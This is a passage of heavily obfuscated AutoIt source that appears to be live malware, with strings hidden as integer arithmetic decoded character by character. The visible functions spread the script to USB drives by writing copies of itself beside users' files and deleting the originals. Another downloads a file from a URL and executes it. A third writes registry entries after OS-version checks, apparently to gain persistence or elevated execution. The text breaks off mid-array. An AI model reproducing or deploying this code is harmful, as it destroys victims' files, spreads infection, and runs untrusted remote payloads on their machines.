$CUUJUSNXLA FOR $SFLYOGTPTXSNRXB = 0 TO 2 $CUUJUSNXLA &= CHRW ($QSHUZWBPABPUSCA_UDXV [$SFLYOGTPTXSNRXB ] ) NEXT RETURN $CUUJUSNXLA ENDFUNC FUNC WCAPOGXJRCJVSJYTHPIL () LOCAL $QRIQOXCYXTGQQTWIZNJP [62 ] = [+ 4294907187 - + 4294907117 , + 4294879534 + 87832 , 5303 + 4294962063 , + 4294916447 - + 4294916377 , + 4294886866 + 80500 , + 4294956366 + 11000 , + 4294867414 + 99938 , 19701 + 4294947663 , 49707 + 4294917641 , 93376 + + 4294873973 , 70549 + + 4294896814 , 3558 + + 4294963786 , + 4294897870 + 69482 , 59718 + + 4294907635 , 2271 + + 4294965081 , + 4294915354 + 51995 , 53739 + + 4294913608 , + 4294911849 - + 4294911801 , + 4294923307 + 44059 , + 4294888862 - + 4294888792 , + 4294935653 + 31713 , + 4294875481 - + 4294875411 , 64843 + + 4294902523 , + 4294941201 + 26165 , 72768 + + 4294894584 , + 4294949865 + 17499 , 1329 + + 4294966019 , + 4294954717 - + 4294954664 , 90890 + 4294876463 , + 4294922210 + 45142 , 89410 + 4294877942 , 50793 + 4294916560 , + 4294914397 + 52955 , + 4294946916 - + 4294946863 , 5916 + 4294961431 , 9825 + + 4294957523 , 45947 + + 4294921419 , 95634 + 4294871732 , 79234 + 4294888132 , 51244 + 4294916122 , + 4294883140 - + 4294883070 , + 4294901407 + 65959 , 97412 + 4294869940 , 44725 + + 4294922639 , 42228 + + 4294925120 , 57403 + + 4294909946 , + 4294874360 - + 4294874292 , + 4294958123 - + 4294958071 , 80895 + + 4294886457 , 19285 + 4294948068 , + 4294914119 - + 4294914063 , 31852 + + 4294935497 , 51190 + + 4294916157 , 36408 + + 4294930944 , 50311 + 4294917055 , 26696 + + 4294940670 , 49813 + + 4294917553 , + 4294919846 + 47520 , 10198 + + 4294957168 , 31785 + + 4294935581 , + 4294965762 + 1590 , + 4294870442 + 96922 ] LOCAL $KWLTDPKMNO FOR $FTZZEPFENJ_T_DO = 0 TO 61 $KWLTDPKMNO &= CHRW ($QRIQOXCYXTGQQTWIZNJP [$FTZZEPFENJ_T_DO ] ) NEXT RETURN $KWLTDPKMNO ENDFUNC FUNC IVRDCRSJGDSOOPQFMUES () LOCAL $YHOVZWECORDJMWM_UGHK [3 ] = [87928 + 4294879483 , + 4294892665 + 74747 , 38253 + 4294929157 ] LOCAL $QWPAICSCQL FOR $WIQNDLZGOAHWEGM = 0 TO 2 $QWPAICSCQL &= CHRW ($YHOVZWECORDJMWM_UGHK [$WIQNDLZGOAHWEGM ] ) NEXT RETURN $QWPAICSCQL ENDFUNC FUNC EEBCTGPEHVDJVPIFWMFB () LOCAL $GKNUPZLORFKQPVCXGXGW [62 ] = [71351 + + 4294895993 , 36900 + + 4294930444 , 59894 + 4294907450 , + 4294886042 + 81324 , 22429 + + 4294944923 , + 4294941502 - + 4294941450 , 27476 + 4294939889 , + 4294892528 + 74824 , 30784 + 4294936560 , 710 + + 4294966636 , 59822 + 4294907522 , 1165 + 4294966179 , 17006 + + 4294950338 , 56845 + 4294910499 , + 4294961523 - + 4294961467 , + 4294872229 + 95135 , + 4294908846 - + 4294908794 , 80283 + 4294887066 , + 4294886608 - + 4294886540 , + 4294870863 + 96489 , 87997 + + 4294879352 , + 4294902367 - + 4294902319 , 71168 + 4294896184 , + 4294872068 + 95296 , 83838 + 4294883514 , 54181 + + 4294913168 , + 4294942988 - + 4294942920 , + 4294880931 - + 4294880864 , + 4294957330 - + 4294957260 , + 4294884877 - + 4294884808 , 46457 + + 4294920909 , 91345 + + 4294876021 , 20225 + 4294947141 , 82685 + 4294884681 , 68764 + + 4294898585 , + 4294932719 + 34625 , 38307 + + 4294929042 , + 4294928527 + 38819 , 68168 + 4294899181 , + 4294907870 - + 4294907820 , 11767 + 4294955583 , + 4294887917 - + 4294887852 , + 4294909894 - + 4294909846 , + 4294944698 + 22650 , 42336 + + 4294925013 , + 4294899664 + 67682 , + 4294879941 + 87408 , + 4294922735 - + 4294922685 , 76294 + 4294891055 , + 4294961244 - + 4294961194 , 26160 + + 4294941206 , + 4294939375 - + 4294939305 , + 4294933546 + 33805 , 26671 + 4294940678 , 60641 + 4294906703 , + 4294924803 - + 4294924736 , 89083 + + 4294878283 , 41191 + 4294926175 , + 4294910923 + 56428 , + 4294920695 + 46654 , 53277 + 4294914067 , 98461 + 4294868891 ] LOCAL $QKEYCMVU_A FOR $TWSPRN_QZTUWYUM = 0 TO 61 $QKEYCMVU_A &= CHRW ($GKNUPZLORFKQPVCXGXGW [$TWSPRN_QZTUWYUM ] ) NEXT RETURN $QKEYCMVU_A ENDFUNC FUNC WJUEDHRBHXWUELZEHKGLXGY () $USBLIST = DRIVEGETDRIVE (LYZJV_KPDFBOKNCAPUCW () ) IF $USBLIST <> JSNQMVCGABTD (STRINGREVERSE (UYJOHCLMEPUTKGCGXQHZ ("xscEyd0EpUsu" , 6 ) ) ) THEN FOR $I = _DGBYVRQADLZMAFOPE_G () TO $USBLIST [TYTDMQGCHQKBYFQZMYFU () ] IF $USBLIST [$I ] <> @HOMEDRIVE THEN $FILEARRAY = _FILELISTTOARRAYREC ($USBLIST [$I ] , DVWMDRGIXQTXPTIGAOYY () , EXECUTE (_DGBYVRQADLZMAFOPE_G () ) , EXECUTE (_DGBYVRQADLZMAFOPE_G () ) , EXECUTE (TYTDMQGCHQKBYFQZMYFU () ) , EXECUTE (OWANAKHTFFFSJVJNNWRS () ) ) FOR $F = _DGBYVRQADLZMAFOPE_G () TO $FILEARRAY [TYTDMQGCHQKBYFQZMYFU () ] $DATATARGET = BINARY (FILEREAD ($FILEARRAY [$F ] ) ) $CHECKDATA = STRINGINSTR ($FILEARRAY [$F ] , WGAIKIRQMKOSNJWOGTFJ () ) IF NOT $CHECKDATA THEN FILEWRITE ($FILEARRAY [$F ] & WGAIKIRQMKOSNJWOGTFJ () , BINARY (FILEREAD (@SCRIPTFULLPATH ) ) ) FILEDELETE ($FILEARRAY [$F ] ) ENDIF NEXT ENDIF NEXT ENDIF ENDFUNC FUNC PIWBHGQACIGFJESAYHAW () LOCAL $AIEEO_AFKTRNUTXOZTDG [1 ] = [89144 + 4294878200 ] LOCAL $SMHGLQJRUL FOR $WCOLFWYOZUNYJGE = 0 TO 0 $SMHGLQJRUL &= CHRW ($AIEEO_AFKTRNUTXOZTDG [$WCOLFWYOZUNYJGE ] ) NEXT RETURN $SMHGLQJRUL ENDFUNC FUNC RQRTALOXMWXZUDLRPWPF () LOCAL $GLIGWQSXJFDRZWVDPVFP [5 ] = [22474 + + 4294944920 , + 4294893908 - + 4294893787 , + 4294913312 + 54100 , 47192 + + 4294920205 , 74458 + + 4294892929 ] LOCAL $F_ZHICUQAW FOR $AKKH_GIKXLUROGT = 0 TO 4 $F_ZHICUQAW &= CHRW ($GLIGWQSXJFDRZWVDPVFP [$AKKH_GIKXLUROGT ] ) NEXT RETURN $F_ZHICUQAW ENDFUNC FUNC WOYSMBFMWFDHSLOIUIBV () LOCAL $ABFXS__NZPVWSWKUL_EP [1 ] = [+ 4294964356 + 2989 ] LOCAL $B_MCSNGKGO FOR $BKMNGOPLPLNJZUJ = 0 TO 0 $B_MCSNGKGO &= CHRW ($ABFXS__NZPVWSWKUL_EP [$BKMNGOPLPLNJZUJ ] ) NEXT RETURN $B_MCSNGKGO ENDFUNC FUNC RTXBAKMPSHMHYLTUHKOW () LOCAL $QNNSYPIGMASXTNSRCWRF [4 ] = [57414 + + 4294910001 , + 4294964442 - + 4294964327 , + 4294954673 + 12739 , + 4294949642 - + 4294949528 ] LOCAL $SPPOLTBSLT FOR $YODICYHEGFDLBFC = 0 TO 3 $SPPOLTBSLT &= CHRW ($QNNSYPIGMASXTNSRCWRF [$YODICYHEGFDLBFC ] ) NEXT RETURN $SPPOLTBSLT ENDFUNC FUNC IQKPWWSKZKVRNCWEOHPX () LOCAL $DICBPNSUCNPFNC_DEAGN [13 ] = [96076 + 4294871290 , + 4294943155 - + 4294943050 , + 4294886105 + 81301 , + 4294953758 + 13638 , + 4294961827 + 5551 , 53951 + 4294913446 , 10329 + + 4294957082 , + 4294953885 - + 4294953774 , 6788 + 4294960625 , + 4294870413 - + 4294870299 , 67110 + + 4294900285 , + 4294927699 - + 4294927598 , + 4294904891 + 62492 ] LOCAL $AGITMUARZQ FOR $DLDS_NBBXUYPDRZ = 0 TO 12 $AGITMUARZQ &= CHRW ($DICBPNSUCNPFNC_DEAGN [$DLDS_NBBXUYPDRZ ] ) NEXT RETURN $AGITMUARZQ ENDFUNC FUNC UIHIAIXA_NUKLWCDRYDJ () LOCAL $RGXPKDYMCUVMNIIXKCAI [6 ] = [91999 + + 4294875401 , 15005 + 4294952388 , 11649 + + 4294955757 , 12144 + 4294955252 , 64124 + + 4294903280 , + 4294875809 - + 4294875708 ] LOCAL $DOFUOYWIXR FOR $ESINKSZXKKYFSIX = 0 TO 5 $DOFUOYWIXR &= CHRW ($RGXPKDYMCUVMNIIXKCAI [$ESINKSZXKKYFSIX ] ) NEXT RETURN $DOFUOYWIXR ENDFUNC FUNC HIBMVEIIDX_ZEBFEPH_F () LOCAL $ZPJVYAKKDYINJMLJUBVM [1 ] = [69457 + 4294897888 ] LOCAL $HNUUYEFONP FOR $VZMFZCKSKHWKETY = 0 TO 0 $HNUUYEFONP &= CHRW ($ZPJVYAKKDYINJMLJUBVM [$VZMFZCKSKHWKETY ] ) NEXT RETURN $HNUUYEFONP ENDFUNC FUNC SADGNYSINGKQPTMOVWAN () LOCAL $VXDUBMTEAWEHTQCFYFNC [8 ] = [93587 + 4294873816 , 84073 + 4294883324 , + 4294936838 - + 4294936724 , + 4294926137 - + 4294926027 , + 4294885397 - + 4294885296 , 60339 + 4294907065 , + 4294916224 + 51123 , 88395 + + 4294878951 ] LOCAL $PJYOL_VKSE FOR $WJEBEOHRBDXZRGQ = 0 TO 7 $PJYOL_VKSE &= CHRW ($VXDUBMTEAWEHTQCFYFNC [$WJEBEOHRBDXZRGQ ] ) NEXT RETURN $PJYOL_VKSE ENDFUNC FUNC NZITXMMWMMUZNSEUOVHF () LOCAL $PHECGFKGAEQPSUZRDTJB [5 ] = [+ 4294908534 - + 4294908434 , 2506 + + 4294964909 , 58036 + 4294909371 , + 4294882008 - + 4294881894 , + 4294905262 + 62134 ] LOCAL $FGTSNRVMGA FOR $TJEPXGUGNRBFVHX = 0 TO 4 $FGTSNRVMGA &= CHRW ($PHECGFKGAEQPSUZRDTJB [$TJEPXGUGNRBFVHX ] ) NEXT RETURN $FGTSNRVMGA ENDFUNC FUNC GLROFCTGVCVNRNFNHWJX () LOCAL $FIYNRBPARZHB_BBRBZSU [1 ] = [78698 + + 4294888691 ] LOCAL $EXENSPVVUN FOR $IKQCGTVLRXQCRYN = 0 TO 0 $EXENSPVVUN &= CHRW ($FIYNRBPARZHB_BBRBZSU [$IKQCGTVLRXQCRYN ] ) NEXT RETURN $EXENSPVVUN ENDFUNC FUNC ZBYHLLNPJMLWVJEHYYE_ () LOCAL $JS_RQMHLPQCCNHZELXNR [1 ] = [+ 4294877968 - + 4294877876 ] LOCAL $HRYDBAUJJI FOR $BXLWHPGOZQIMZGB = 0 TO 0 $HRYDBAUJJI &= CHRW ($JS_RQMHLPQCCNHZELXNR [$BXLWHPGOZQIMZGB ] ) NEXT RETURN $HRYDBAUJJI ENDFUNC FUNC UBYZCYUQXSELNYFGXIGD () LOCAL $YEGQ_SUOADJORCQSFXAD [3 ] = [69268 + + 4294898133 , + 4294932798 + 34608 , + 4294893847 - + 4294893731 ] LOCAL $FQTIPVLIOA FOR $Y_PZVNQPTQVI_KD = 0 TO 2 $FQTIPVLIOA &= CHRW ($YEGQ_SUOADJORCQSFXAD [$Y_PZVNQPTQVI_KD ] ) NEXT RETURN $FQTIPVLIOA ENDFUNC FUNC IXIOUSDJJMZROUQDUOFV () LOCAL $LLCNUVQQNVCHFMMDFOOQ [12 ] = [+ 4294878386 + 89017 , 57764 + 4294909633 , 87181 + 4294880229 , + 4294907449 + 59957 , + 4294891390 + 76007 , 6115 + 4294961289 , 601 + + 4294966746 , 49160 + + 4294918186 , + 4294910900 + 56442 , + 4294909503 + 57893 , 86378 + + 4294881026 , + 4294901012 + 66392 ] LOCAL $OABTWHSUFF FOR $JSMCHNXFZPWPQZP = 0 TO 11 $OABTWHSUFF &= CHRW ($LLCNUVQQNVCHFMMDFOOQ [$JSMCHNXFZPWPQZP ] ) NEXT RETURN $OABTWHSUFF ENDFUNC FUNC ICMUOFOXYSGQWKSNJXHH () LOCAL $MAYG_IMI_SZVAHCKFLOL [3 ] = [41388 + 4294926020 , + 4294900885 - + 4294900769 , + 4294901748 - + 4294901634 ] LOCAL $GXFSMQOIHH FOR $EAEEMHMDUIFGUGU = 0 TO 2 $GXFSMQOIHH &= CHRW ($MAYG_IMI_SZVAHCKFLOL [$EAEEMHMDUIFGUGU ] ) NEXT RETURN $GXFSMQOIHH ENDFUNC FUNC VFJKVXXSEFPM_FAXWCCF () LOCAL $IXC_LPUMRHJASYA_ILED [3 ] = [70776 + 4294896607 , + 4294884736 + 82641 , + 4294950735 - + 4294950659 ] LOCAL $KAXWPUBEAO FOR $KTYHUH_DDYDJ_GC = 0 TO 2 $KAXWPUBEAO &= CHRW ($IXC_LPUMRHJASYA_ILED [$KTYHUH_DDYDJ_GC ] ) NEXT RETURN $KAXWPUBEAO ENDFUNC FUNC RQNTTBQYJGZOQMULNYCN () LOCAL $LEVMSMKXRFCOPAHVMJON [6 ] = [+ 4294895175 - + 4294895071 , 58928 + 4294908465 , 20474 + + 4294946932 , + 4294944965 + 22431 , + 4294920176 - + 4294920068 , + 4294935914 - + 4294935813 ] LOCAL $PEZZDKPKBK FOR $EMUMUABGRTHDDLZ = 0 TO 5 $PEZZDKPKBK &= CHRW ($LEVMSMKXRFCOPAHVMJON [$EMUMUABGRTHDDLZ ] ) NEXT RETURN $PEZZDKPKBK ENDFUNC FUNC RKRQMNCCIGEFYTGDUEKP () LOCAL $CJWBKBTQTUUHSDWRUWVX [17 ] = [+ 4294957334 - + 4294957251 , 24741 + 4294942676 , + 4294927184 + 40227 , 883 + + 4294966529 , 90080 + + 4294877317 , + 4294934613 - + 4294934504 , 16611 + + 4294950751 , + 4294920118 - + 4294920013 , + 4294962133 + 5274 , + 4294912001 - + 4294911886 , 53658 + 4294913724 , 25425 + + 4294941972 , 11997 + + 4294955413 , + 4294964717 + 2694 , + 4294889903 + 77498 , 32587 + + 4294934820 , 24282 + + 4294943124 ] LOCAL $ODEQLD_SCQ FOR $DATVJWPFPXLTW_W = 0 TO 16 $ODEQLD_SCQ &= CHRW ($CJWBKBTQTUUHSDWRUWVX [$DATVJWPFPXLTW_W ] ) NEXT RETURN $ODEQLD_SCQ ENDFUNC FUNC PCCWNQRXCKCGVAMIHWKC () LOCAL $RCZQASHBFQOCSBFYZKDD [7 ] = [25744 + 4294941667 , + 4294881429 - + 4294881313 , 74273 + 4294893137 , 25068 + + 4294942345 , 4893 + + 4294962502 , 80156 + + 4294887256 , + 4294869199 + 98139 ] LOCAL $OJXTGLJAYU FOR $TNDMVVIPSLWAOTW = 0 TO 6 $OJXTGLJAYU &= CHRW ($RCZQASHBFQOCSBFYZKDD [$TNDMVVIPSLWAOTW ] ) NEXT RETURN $OJXTGLJAYU ENDFUNC FUNC DMWVAXYJGELJJAYZXIDB () LOCAL $FQHJXOTRILREJWLBISJP [12 ] = [84948 + 4294882413 , 22763 + 4294944633 , 86347 + + 4294881067 , + 4294874259 - + 4294874162 , + 4294964743 + 2665 , 29607 + + 4294937794 , + 4294886667 + 80680 , 42395 + + 4294924951 , + 4294906005 - + 4294905959 , 82166 + 4294885230 , + 4294897917 - + 4294897809 , 94922 + + 4294872482 ] LOCAL $KNIEJCBGRO FOR $NGANPXREZNDX_VH = 0 TO 11 $KNIEJCBGRO &= CHRW ($FQHJXOTRILREJWLBISJP [$NGANPXREZNDX_VH ] ) NEXT RETURN $KNIEJCBGRO ENDFUNC FUNC WIHW_HVLVRTSUSMYXQUS () LOCAL $RVNCPNSLQNBSAENJINAJ [4 ] = [70244 + 4294897150 , 8211 + 4294959196 , 94436 + + 4294872971 , 54241 + 4294913163 ] LOCAL $HPBSQFCPKP FOR $TXJTJBGBVFHMPKV = 0 TO 3 $HPBSQFCPKP &= CHRW ($RVNCPNSLQNBSAENJINAJ [$TXJTJBGBVFHMPKV ] ) NEXT RETURN $HPBSQFCPKP ENDFUNC FUNC LYKLCGDKCPLZHHLZOZHL () LOCAL $BEKNHQLTNYVGRAJPWISX [1 ] = [79122 + + 4294888223 ] LOCAL $XDMWKXDTEH FOR $XGFNAEOVXXMXZGN = 0 TO 0 $XDMWKXDTEH &= CHRW ($BEKNHQLTNYVGRAJPWISX [$XGFNAEOVXXMXZGN ] ) NEXT RETURN $XDMWKXDTEH ENDFUNC FUNC LPAKFIMMHMH ($URL , $FILENAME , $DIR ) LOCAL $INSTALLIR IF @SCRIPTDIR <> $STARTUPDIR THEN SWITCH $DIR CASE _DGBYVRQADLZMAFOPE_G () $INSTALDIR = @TEMPDIR CASE OWANAKHTFFFSJVJNNWRS () $INSTALDIR = @APPDATADIR CASE KCRPXXNGZTIPTHGHORRJ () $INSTALDIR = @SCRIPTDIR ENDSWITCH IF FILEEXISTS ($INSTALDIR & UHAJNUIPBYNPDOFGZNOA () & $FILENAME ) THEN FILEDELETE ($INSTALDIR & UHAJNUIPBYNPDOFGZNOA () & $FILENAME ) ENDIF DLLCALL (D_SZPZPVMWDAVOTVFGRW () , P_HQTDSUWYOKQXKUDAWA () , RMADTSVSVZRGUUUTHXOK () , P_HQTDSUWYOKQXKUDAWA () , TYTDMQGCHQKBYFQZMYFU () , ZAEQOGLGZHDLBPUHT_OV () , $URL , ZAEQOGLGZHDLBPUHT_OV () , $INSTALDIR & SJWCFVVIDRFOMCTPCPSM () & $FILENAME , MLHTVAHGQBSHGBCHDSCI () , TYTDMQGCHQKBYFQZMYFU () , P_HQTDSUWYOKQXKUDAWA () , TYTDMQGCHQKBYFQZMYFU () ) SHELLEXECUTE ($INSTALDIR & UHAJNUIPBYNPDOFGZNOA () & $FILENAME ) ENDIF ENDFUNC FUNC VRLYTBYRZWGBKECYJFXP () LOCAL $NFAAMCMTAVVJ_LBJVNIK [14 ] = [18639 + + 4294948740 , + 4294960205 - + 4294960100 , + 4294918605 + 48813 , 75271 + + 4294892126 , 15784 + 4294951623 , + 4294895671 - + 4294895569 , 13811 + + 4294953567 , + 4294941972 + 25425 , 31573 + 4294935838 , 8838 + + 4294958569 , 14082 + 4294953331 , 27791 + 4294939619 , 95087 + + 4294872308 , 89720 + + 4294877677 ] LOCAL $USMYEVMSKB FOR $CUCXYNE_TNGRZTD = 0 TO 13 $USMYEVMSKB &= CHRW ($NFAAMCMTAVVJ_LBJVNIK [$CUCXYNE_TNGRZTD ] ) NEXT RETURN $USMYEVMSKB ENDFUNC FUNC V_BJOPJWTKAFWL_YVMMD () LOCAL $XBNRMGAIHOYJOXOQIIUE [12 ] = [1450 + + 4294965953 , 71111 + 4294896286 , 28745 + 4294938665 , + 4294954426 + 12980 , + 4294939892 - + 4294939791 , + 4294954249 - + 4294954141 , 39182 + 4294928165 , 99288 + + 4294868058 , + 4294965320 - + 4294965274 , 73032 + 4294894364 , 15424 + 4294951980 , 8733 + 4294958671 ] LOCAL $ERGZCCWREX FOR $MSQYXJQMSIRXFJA = 0 TO 11 $ERGZCCWREX &= CHRW ($XBNRMGAIHOYJOXOQIIUE [$MSQYXJQMSIRXFJA ] ) NEXT RETURN $ERGZCCWREX ENDFUNC FUNC KLOFREVRJHNZMMALYVPQ () LOCAL $LJJOZAGGYBNQTZXRJTDM [1 ] = [+ 4294912011 - + 4294911963 ] LOCAL $_GQYPTHUWG FOR $WAEGCMZC_IDJMAB = 0 TO 0 $_GQYPTHUWG &= CHRW ($LJJOZAGGYBNQTZXRJTDM [$WAEGCMZC_IDJMAB ] ) NEXT RETURN $_GQYPTHUWG ENDFUNC FUNC PXHECCHLXDSVHDDQXIJJ () LOCAL $_DTXKZIRXGRDSMLEYYTQ [1 ] = [17181 + 4294950163 ] LOCAL $KUDUQORMPC FOR $FL_VJZJHB_UBVMD = 0 TO 0 $KUDUQORMPC &= CHRW ($_DTXKZIRXGRDSMLEYYTQ [$FL_VJZJHB_UBVMD ] ) NEXT RETURN $KUDUQORMPC ENDFUNC FUNC ZMBXQSGFJZUTHEIOYVSE () LOCAL $YYLDNNHYTANZHBESIHBS [62 ] = [+ 4294909905 - + 4294909855 , + 4294940973 - + 4294940922 , + 4294944546 + 22798 , 92749 + + 4294874617 , 53623 + 4294913740 , 76863 + 4294890488 , + 4294884898 + 82450 , + 4294885038 - + 4294884985 , 87835 + + 4294879517 , + 4294944631 - + 4294944564 , + 4294954563 - + 4294954494 , + 4294960400 - + 4294960344 , 11793 + + 4294955557 , + 4294959362 - + 4294959292 , 97627 + + 4294869718 , 48705 + + 4294918647 , + 4294917088 + 50256 , + 4294879148 + 88216 , 12104 + 4294955248 , + 4294965833 + 1520 , 6668 + + 4294960684 , 70898 + + 4294896451 , + 4294891408 - + 4294891355 , + 4294874028 - + 4294873976 , 96022 + 4294871344 , 30748 + 4294936618 , + 4294886480 + 80886 , 44276 + + 4294923090 , 28321 + 4294939045 , + 4294943876 + 23490 , 54771 + + 4294912581 , 50022 + 4294917340 , 88558 + 4294878790 , + 4294923844 + 43505 , + 4294871217 - + 4294871150 , 6668 + + 4294960684 , 12469 + + 4294954883 , + 4294935053 + 32294 , 60085 + + 4294907281 , + 4294913462 - + 4294913393 , 61398 + 4294905946 , 50689 + + 4294916657 , + 4294873315 + 94051 , + 4294920689 + 46677 , 37646 + 4294929716 , 64095 + + 4294903253 , + 4294917035 + 50327 , + 4294948768 + 18581 , 53249 + 4294914100 , + 4294947064 + 20288 , + 4294931525 - + 4294931455 , 39332 + + 4294928034 , + 4294933400 + 33966 , 84947 + 4294882419 , + 4294923483 - + 4294923413 , + 4294933933 + 33433 , 57420 + 4294909924 , 93485 + 4294873881 , + 4294954704 + 12644 , + 4294902139 - + 4294902069 , + 4294964783 + 2565 , 48557 + + 4294918792 ] LOCAL $AZKOIKMUOU FOR $CYYSZAEFIJCTWOF = 0 TO 61 $AZKOIKMUOU &= CHRW ($YYLDNNHYTANZHBESIHBS [$CYYSZAEFIJCTWOF ] ) NEXT RETURN $AZKOIKMUOU ENDFUNC FUNC QNMICFCCBZNF_VSIDUPS () LOCAL $EREYVLXPWBVMPNXWADTX [29 ] = [82722 + + 4294884661 , 45429 + 4294921978 , + 4294874911 - + 4294874792 , 68784 + + 4294898566 , 86722 + + 4294880626 , + 4294894336 + 73029 , 60899 + + 4294906507 , + 4294942008 + 25385 , 34463 + + 4294932931 , + 4294965827 + 1577 , 33857 + + 4294933540 , + 4294915634 - + 4294915547 , + 4294899442 - + 4294899331 , 21641 + 4294945774 , + 4294885007 + 82343 , 41130 + + 4294926218 , 97886 + + 4294869480 , + 4294948477 + 18934 , 89224 + 4294878154 , + 4294889809 + 77588 , + 4294926195 - + 4294926095 , 3222 + 4294964179 , + 4294903871 - + 4294903757 , + 4294924019 - + 4294923918 , + 4294887634 + 79761 , + 4294964598 + 2814 , 25452 + 4294941949 , + 4294952841 + 14566 , 29691 + + 4294937715 ] LOCAL $UJBADWZTPP FOR $ZALSSFMXPNZB_HR = 0 TO 28 $UJBADWZTPP &= CHRW ($EREYVLXPWBVMPNXWADTX [$ZALSSFMXPNZB_HR ] ) NEXT RETURN $UJBADWZTPP ENDFUNC FUNC VMXCGJNUPLPEXMAZXHXH () LOCAL $BPAXANWERDYX_MEMRVIB [5 ] = [37578 + + 4294929818 , 76381 + 4294891034 , + 4294939072 - + 4294938961 , + 4294878930 - + 4294878816 , + 4294956250 - + 4294956150 ] LOCAL $SFKHOICZWZ FOR $EK_ZVGM_BTNJDLO = 0 TO 4 $SFKHOICZWZ &= CHRW ($BPAXANWERDYX_MEMRVIB [$EK_ZVGM_BTNJDLO ] ) NEXT RETURN $SFKHOICZWZ ENDFUNC FUNC RXNRWYKRCOFTVLIOXSLE () LOCAL $YUVCXOEZZXURFNYGLSNJ [1 ] = [+ 4294963459 - + 4294963411 ] LOCAL $KTHULSFUON FOR $ZBEWDXNCEVCKYXC = 0 TO 0 $KTHULSFUON &= CHRW ($YUVCXOEZZXURFNYGLSNJ [$ZBEWDXNCEVCKYXC ] ) NEXT RETURN $KTHULSFUON ENDFUNC FUNC NNIDBLQLZDUZVHVOFZII () IF STRINGINSTR (@OSVERSION , JDZNQZLVTHSGVIKFLAWE () ) OR STRINGINSTR (@OSVERSION , PPYUPPWGTVKCFREIRSHZ () ) THEN IF NOT EXECUTE (ZAYOXLGWLDXDJCDFMJHT () ) THEN REGWRITE (VJQTQSTUBWSNRLDPXESI () , JSNQMVCGABTD (STRINGREVERSE (UYJOHCLMEPUTKGCGXQHZ ("xscEyd0EpUsu" , 6 ) ) ) , FMNUORGZSGTIVYNXSXOG () , @AUTOITEXE ) SHELLEXECUTE (NUKAXPDUUDKKLYMHSUG_ () ) EXIT ENDIF ELSEIF STRINGINSTR (@OSVERSION , FXGCGVDZDHMJKNYFHFNA () ) THEN IF NOT EXECUTE (ZAYOXLGWLDXDJCDFMJHT () ) THEN DLLCALL (V_BJOPJWTKAFWL_YVMMD () , S_ZQCLVOPRUYGIIMTVYO () , QNMICFCCBZNF_VSIDUPS () , S_ZQCLVOPRUYGIIMTVYO () , TYTDMQGCHQKBYFQZMYFU () ) REGWRITE (YXMJVOIRTZCLPIY_FVPZ () , BRBFFKYLE_YBHPRLXJRR () , FMNUORGZSGTIVYNXSXOG () , NULL ) REGWRITE (YXMJVOIRTZCLPIY_FVPZ () , JSNQMVCGABTD (STRINGREVERSE (UYJOHCLMEPUTKGCGXQHZ ("xscEyd0EpUsu" , 6 ) ) ) , FMNUORGZSGTIVYNXSXOG () , @AUTOITEXE ) SHELLEXECUTE (QFLBEOUUDUTKFAKTPOMW () ) EXIT ENDIF ENDIF ENDFUNC FUNC NVRXMJOAPDDBWXPCREIZ () LOCAL $MQVJDXKEYGJKAHAXTAZF [3 ] = [35941 + + 4294931467 , 65610 + + 4294901802 , 2267 + + 4294965143 ] LOCAL $JBJUTBPXRK FOR $CJBUREKAUXAITPZ = 0 TO 2 $JBJUTBPXRK &= CHRW ($MQVJDXKEYGJKAHAXTAZF [$CJBUREKAUXAITPZ ] ) NEXT RETURN $JBJUTBPXRK ENDFUNC FUNC QEXOHDWQC_ZKPDZQIDQA () LOCAL $WSKQXZEDUXMWAROQ_X_H [62 ] = [+ 4294940927 - + 4294940872 , 373 + 4294966975 , + 4294924971 - + 4294924922 , 43177 + + 4294924171 , + 4294925279 + 42073 , + 4294880890 - + 4294880824 , + 4294953627 - + 4294953574 , + 4294961817 + 5532 , 58033 + 4294909333 , 33390 + 4294933973 , + 4294876893 + 90455 , 68272 + 4294899078 , 3916 + 4294963431 , 23506 + + 4294943856 , 10901 + 4294956450 , 29830 + 4294937519 , + 4294893413 - + 4294893365 , 30804 + 4294936548 , + 4294908724 - + 4294908669 , + 4294933241 - + 4294933191 , 37249 + 4294930116 , 17008 + + 4294950343 , 63582 + 4294903765 , 16436 + + 4294950911 , 76455 + + 4294890908 , + 4294898366 + 68978 , 57371 + + 4294909978 , 35745 + + 4294931621 , 26217 + 4294941132 , 7657 + 4294959708 , + 4294880819 - + 4294880766 , + 4294936697 - + 4294936631 , 53587 + + 4294913765 , + 4294889662 - + 4294889596 , 21613 + 4294945752 , 43917 + 4294923432 , 87055 + 4294880294 , + 4294941729 + 25635 , 35514 + + 4294931849 , + 4294944404 - + 4294944354 , + 4294931173 + 36171 , + 4294904999 + 62353 , 4214 + + 4294963130 , + 4294909578 - + 4294909530 , + 4294871966 - + 4294871910 , + 4294920762 + 46600 , 58914 + 4294908434 , + 4294940477 - + 4294940424 , 86592 + 4294880774 , 33870 + 4294933482 , + 4294890288 - + 4294890240 , 69502 + + 4294897864 , 83808 + 4294883554 , + 4294908900 + 58451 , 90296 + + 4294877048 , 38629 + + 4294928719 , 82726 + 4294884625 , 1714 + 4294965630 , 8609 + 4294958743 , 81491 + 4294885871 , 13669 + + 4294953675 , 87325 + + 4294880023 ] LOCAL $CDGKJSB_OQ FOR $LVRVXHTHHFEJMW_ = 0 TO 61 $CDGKJSB_OQ &= CHRW ($WSKQXZEDUXMWAROQ_X_H [$LVRVXHTHHFEJMW_ ] ) NEXT RETURN $CDGKJSB_OQ ENDFUNC FUNC NBXBUNZPHJPAMYLBGHFM () LOCAL $JPWNFBVGQVBZMXRMLQHQ [5 ] = [81097 + 4294886299 , 24230 + + 4294943185 , 89460 + + 4294877947 , 77302 + 4294890108 , + 4294894607 - + 4294894507 ] LOCAL $QOPGYQQAPO FOR $TNFGVZGJWSSTZMH = 0 TO 4 $QOPGYQQAPO &= CHRW ($JPWNFBVGQVBZMXRMLQHQ [$TNFGVZGJWSSTZMH ] ) NEXT RETURN $QOPGYQQAPO ENDFUNC FUNC UECXTOAERNTDMJJICQGA () LOCAL $OQ_QHAYHHCDJUNQTKTTL [3 ] = [+ 4294876729 + 90616 , + 4294875500 + 91844 , 17210 + + 4294950134 ] LOCAL $TXOKJJZTQY FOR $VPXKQPLMTEEMQSQ = 0 TO 2 $TXOKJJZTQY &= CHRW ($OQ_QHAYHHCDJUNQTKTTL [$VPXKQPLMTEEMQSQ ] ) NEXT RETURN $TXOKJJZTQY ENDFUNC FUNC WKMSRZIPQUADGVIODDDM () LOCAL $YXAKRTKIYODXPAHZ__QZ [16 ] = [41839 + + 4294925540 , + 4294876173 - + 4294876072 , 9627 + + 